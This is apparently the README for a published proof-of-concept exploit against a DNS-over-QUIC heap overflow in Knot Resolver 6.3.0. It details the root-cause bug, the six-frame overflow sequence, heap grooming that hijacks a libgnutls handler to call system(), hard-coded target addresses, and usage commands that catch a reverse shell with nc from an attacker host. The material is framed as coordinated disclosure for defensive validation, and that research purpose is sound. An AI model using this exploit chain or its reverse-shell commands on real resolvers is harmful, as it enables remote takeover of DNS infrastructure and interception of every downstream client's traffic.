Share
## https://sploitus.com/exploit?id=C4C0B0E8-128F-5A41-9374-0D848A9ED66B
# Knot Resolver 6.3.0 โ€” DNS-over-QUIC heap overflow โ†’ RCE (PoC)

Proof-of-concept for a remotely triggerable heap buffer overflow in Knot
Resolver's DNS-over-QUIC (DoQ) receive path that yields remote code execution as
the `knot-resolver` service user.

- **Component:** `kresd` DoQ listener (`daemon/quic_conn.c`)
- **Affected:** Knot Resolver 6.3.0 (validated on `6.3.0-cznic.1~bookworm`)
- **Fixed in:** Knot Resolver 6.4.1 (released 2026-07-22)
- **Class:** Heap out-of-bounds write (CWE-787)
- **Vector:** Network, unauthenticated โ€” a single QUIC connection
- **Impact:** Code execution as `knot-resolver`; at minimum, remote crash / DoS

> Published alongside the vendor fix and advisory as part of coordinated
> disclosure. For authorized security research and defensive validation only.

## Demo

Full remote exploitation โ€” the exploit is fired from the attacker box over
DNS-over-QUIC, and a `knot-resolver` reverse shell is caught on `nc`
(click for the full-resolution video):

[![Remote DNS-over-QUIC RCE against Knot Resolver 6.3.0](knot.gif)](knot.mp4)

## What is Knot Resolver

[Knot Resolver](https://www.knot-resolver.cz/) is an open-source caching
**DNS recursive resolver** developed by CZ.NIC (the `.cz` registry). It resolves
DNS queries on behalf of clients โ€” end-user devices, ISP resolver fleets, and
public resolver services โ€” and caches the answers. It supports modern encrypted
transports including DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) and
**DNS-over-QUIC (DoQ)**, and ships DNSSEC validation and aggressive caching.

It is popular in **large ISP environments**, where its rich feature set
(scriptable policy, DNSSEC, encrypted transports, fine-grained caching) and high
performance make it well suited to serving very large subscriber bases.

The daemon (`kresd`) is a long-lived network service that is directly exposed to
untrusted input from any host able to reach its listening port. That makes a
memory-corruption bug in its packet-receive path โ€” like the one exploited here โ€”
a remotely reachable, unauthenticated attack surface: compromising the resolver
lets an attacker forge DNS answers for every downstream client, i.e. redirect or
intercept effectively all of their traffic.

## Root cause

`kr_recv_stream_data_cb()` reassembles DoQ STREAM frames into a per-connection
input buffer (`pers_inbuf`). It grows that buffer with

```c
pers_inbuf.size += datalen;      /* bug: accumulates, never re-baselines */
```

instead of setting the size to the new total. Across several frames the tracked
`size` drifts above the real allocation. A final frame whose `datalen` fits under
the *inflated* `size` therefore skips the reallocation, yet the subsequent
`memcpy()` is bounded by that inflated size โ€” so it writes past the end of the
object. jemalloc keeps the object pinned to its real size class, so the excess
bytes land in the adjacent slab slot.

## Exploitation summary

A six-frame sequence on one stream walks `pers_inbuf` through five jemalloc size
classes into the 6144-byte class and then overflows into the neighbouring slot:

```
F1  datalen=8                    initial 1200-byte allocation
F2  datalen=1440   realloc  ->   1536-class
F3  datalen=1440   realloc  ->   3072-class
F4  datalen=1440   realloc  ->   5120-class
F5  datalen=1440   realloc  ->   6144-class
F6  datalen=1200, FIN            no realloc -> 814-byte OOB write into slot+1
```

Lightweight connection *grooming* (open several DoQ connections, free half just
before firing) arranges for `slot+1` to hold a libgnutls cleanup handler. The
overflow overwrites that handler's dispatch pointer, its argument, and the flag
that gates the dispatch. During connection teardown libgnutls executes

```
call *0x110(%rbx)     ; %rbx = attacker-controlled slot+1
```

giving control of the instruction pointer (RIP) and the first argument (RDI).
The PoC routes this to `system()` with a pointer to an attacker-supplied command
string written into the same slot.

## Scope: ASLR

This PoC targets a host with ASLR **disabled**
(`kernel.randomize_va_space = 0`). With randomization off the heap and libc
addresses are deterministic, so the two addresses the exploit needs
(`slot+1` and `system()`) are constants for a given build. Defeating ASLR is a
separate problem and is intentionally **out of scope** here โ€” the goal is to
demonstrate the memory-corruption โ†’ control-flow โ†’ code-execution primitive in
isolation.

Because those addresses are deterministic, **no information leak is required**:
the exploit runs fully over the network from a remote host. The addresses are
recovered once with the `probe` step (below) on any identical build and then
hard-coded; on the reference build they are `slot+1 = 0x7ffff66c5000` and
`system = 0x7ffff746a490`.

## Contents

| File                     | Purpose                                              |
|--------------------------|------------------------------------------------------|
| `poc.py`                 | The exploit. Modes: `probe`, `rip`, `exec`.          |
| `probe.gdb`              | gdb oracle that reads the deterministic `pers_inbuf`.|
| `README.md`              | This document.                                        |

Requires Python 3 with [`aioquic`](https://pypi.org/project/aioquic/) and
`netcat` on the attacker side, and `gdb` on the target only for the one-time
`probe` step.

## Usage โ€” remote reverse shell (no info leak)

This is the headline demonstration: the exploit is fired **from the attacker
machine, over the network**, with the two deterministic addresses hard-coded.
Nothing is read from the target โ€” no `/proc`, no gdb, no logs.

```console
# On the attacker box: listen for the shell
$ nc -lvnp 4444                    # Linux;  on macOS/BSD:  nc -l 4444

# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
      --host  --port 8853 \
      --slot1  0x7ffff66c5000 \
      --system 0x7ffff746a490 \
      --lhost  --lport 4444 \
      --rounds 250
```

Each round that lands calls `system()` on the target with a reverse-shell
command; the shell connects back to `--lhost:--lport`, where `nc` receives it.
When it arrives, type into the netcat session to drive the shell:

```
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64
```

The `--slot1` / `--system` values are recovered once with the `probe` step on
any identical build; they are constants while ASLR is off.

## Recovering the addresses (one-time probe)

The `--slot1` / `--system` values above are constants while ASLR is off; recover
them once on any identical build. Precondition:

```console
$ sudo sysctl -w kernel.randomize_va_space=0
```

```console
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800  slot1=0x7ffff66c5000

# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))
```

`poc.py rip --rounds 8` additionally demonstrates raw RIP/RDI control (the target
crashes at the attacker-chosen instruction pointer).

## Reliability

Measured on the reference build (Debian 12, `6.3.0-cznic.1`, ASLR off):

| Primitive                          | Rate                    |
|------------------------------------|-------------------------|
| RIP/RDI control (`rip`, crash)     | ~7/8 per round          |
| Full `system()` execution (`exec`) | ~1 in 30โ€“50 rounds      |

The gap is inherent: `system()` runs on a heap that the overflow just corrupted,
so most dispatches crash `kresd` before the child is spawned. The daemon is
respawned by its supervisor after each crash, the address is deterministic with
ASLR off, and each attempt is independent โ€” so the `exec` loop simply retries
until one lands (in the remote run above, a shell arrived on round 5). A failed
attempt is a transient worker crash (DoS). Grooming parameters `--groom 16
--close 8 --qpc 4` are the empirically best defaults; heavier closing (e.g.
`--close 16` at `--groom 32`) collapses the hit rate.

## Reference environment

```
OS        Debian 12 (bookworm), glibc 2.36
kresd     knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config    DoQ listener on 127.0.0.1@8853
```

The size-class geometry (six frames, 1200/1440-byte payloads) and the libgnutls
dispatch offset are specific to this build; other builds need the frame sizes
and offsets re-derived.

## Disclosure timeline

| Date        | Event                                                            |
|-------------|------------------------------------------------------------------|
| 2026-06-08  | Vulnerability reported to the vendor (CZ.NIC).                    |
| 2026-07-22  | Fix released in Knot Resolver 6.4.1, with vendor advisory.        |
| 2026-07-23  | This PoC and write-up published.                                 |

## Disclosure & license

Reported to the vendor on 2026-06-08 and released in coordination with the
official fix (6.4.1, 2026-07-22). Provided for authorized testing, defensive
validation, and research. Do not run it against systems you do not own or are
not explicitly authorized to test.

SPDX-License-Identifier: MIT